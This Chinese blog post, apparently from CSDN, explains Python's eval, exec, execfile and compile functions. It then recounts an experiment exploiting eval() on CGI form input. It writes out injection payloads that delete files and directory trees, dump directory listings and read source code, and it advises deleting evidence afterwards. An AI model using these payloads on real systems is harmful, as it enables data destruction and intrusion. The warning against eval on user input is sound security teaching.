python exec函数和eval函数_python中内置函数功能eval, exec, execfile,和compile

eval_r(str [,globals [,locals ]])函数将字符串str当成有效Python表达式来求值,并返回计算结果。同样地, exec语句将字符串str当成有效Python代码来执行.提供给exec的代码的名称空间和exec语句的名称空间相同.最后,execfile(filename [,globals [,locals ]])函数可以用来执行一个文件,看下面的例子:>>> eval_r('3+4')7>>> exec 'a=100'>>> a100>>> execfile(r'c:\test.py')hello,world!>>>默认的,eval_r(),exec,execfile()所运行的代码都位于当前的名字空间中. eval_r(), exec,和 execfile()函数也可以接受一个或两个可选字典参数作为代码执行的全局名字空间和局部名字空间. 例如:切換行號1 globals = {'x': 7,2'y': 10,3'birds': ['Parrot', 'Swallow', 'Albatross']4}5 locals = { }67 # 将上边的字典作为全局和局部名称空间8 a = eval_r("3*x + 4*y", globals, locals)9 exec "for b in birds: print b" in globals, locals# 注意这里的语法10 execfile("foo.py", globals, locals)如果你省略了一个或者两个名称空间参数,那么当前的全局和局部名称空间就被使用.如果一个函数体内嵌嵌套函数或lambda匿名函数时,同时又在函数主体中使用exec或execfile()函数时, 由于牵到嵌套作用域,会引发一个SyntaxError异常.(此段原文:If youomit one or both namespaces, the current values of the global and local namespaces are used. Also,due to issuesrelated to nested scopes, the use of exec or execfile() inside a function body may result in a SyntaxError exceptionif that function also contains nested function definitions or uses the lambda operator.)在Python2.4中俺未发现可以引起异常 --WeiZhong注意例子中exec语句的用法和eval_r(), execfile()是不一样的. exec是一个语句(就象print或while), 而eval_r()和execfile()则是内建函数.exec(str) 这种形式也被接受,但是它没有返回值。 --WeiZhong当一个字符串被exec,eval_r(),或execfile()执行时,解释器会先将它们编译为字节代码,然后再执行.这个过程比较耗时,所以如果需要对某段代码执行很多次时,最好还是对该代码先进行预编译,这样就不需要每次都编译一遍代码,可以有效提高程序的执行效率。compile(str ,filename ,kind )函数将一个字符串编译为字节代码, str是将要被编译的字符串, filename是定义该字符串变量的文件,kind参数指定了代码被编译的类型-- 'single'指单个语句, 'exec'指多个语句, 'eval'指一个表达式. cmpile()函数返回一个代码对象,该对象当然也可以被传递给eval_r()函数和exec语句来执行,例如:切換行號1 str = "for i in range(0,10): print i"2 c = compile(str,'','exec')# 编译为字节代码对象3 exec c# 执行45 str2 = "3*x + 4*y"6 c2 = compile(str2, '', 'eval') # 编译为表达式7 result = eval_r(c2)# 执行

Python的eval()函数可以把字符串“123”变成数字类型的123,PP3E上说它很危险,还可以执行其他命令!

在家没事,做了些试验。果然,如果python写的cgi程序中如果使用eval()而非int()来转换诸如年龄这样的输入框中的内容时是非常危险的。不仅可以看见列出系统的全部文件,还可以删除文件,察看文件源代码。

试着写了个程序,想把本地的脚本文件同过这样的形式一行一行的写到服务器的某个文件里,可最后失败在无法输入换行符"\n",在提交的语句里只要有换行符,就会出现EOL的出错提示,换了编码方式还是没能成功。

网页里有一个提交名字的窗口,这里只是以改它为例,否则名字是不会用eval函数转换的,不过年龄到是很容易出问题。这个文件(http://localhost/tutor4.html)导入了os。

line1 = "Hello, %s." % eval(form['user'].value)

(1)os.system(‘del * /q’) #删除当前目录下所有文件(不包括文件夹)。

os.system调用当前系统的命令(如windows)

/q

指定静音状态。不提示您确认删除。

(2)若删除文件夹,使用rmdir

/s

删除指定目录和所有子目录以及包含的所有文件。使用 /s 来删除目录树。

/q

在安静模式中运行 rmdir。不经确认即删除目录。

os.system(‘rmdir d:\workspace /s/q’)

(3)列出所有文件os.system(‘dir’)。因为成功执行了dir命令后,系统返回0,所以看到的返回内容只能是Hello,0.而在服务器上,倒是真的列出来了,如果有日志,可能被发现。提交os.system(‘dir >dir.txt’),那么访问http://localhost/dir.txt,所有的文件和文件夹都暴露了,想看源代码吗?如果再使用os.system(‘type target.py’).命令如果成功完成同样会返回Hello, 0.的。难道再放进一个文件,再访问那个文件吗?open(‘target.py’).read()

由此,可以在列出和察看其他文件夹里面的内容了。

如果没干别的坏事,那么可删除dir.txt以免被人发现了。os.system(‘del dir.txt /q’)

导入os并执行命令:

__import__(‘os’).system(‘dir >dir.txt’)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值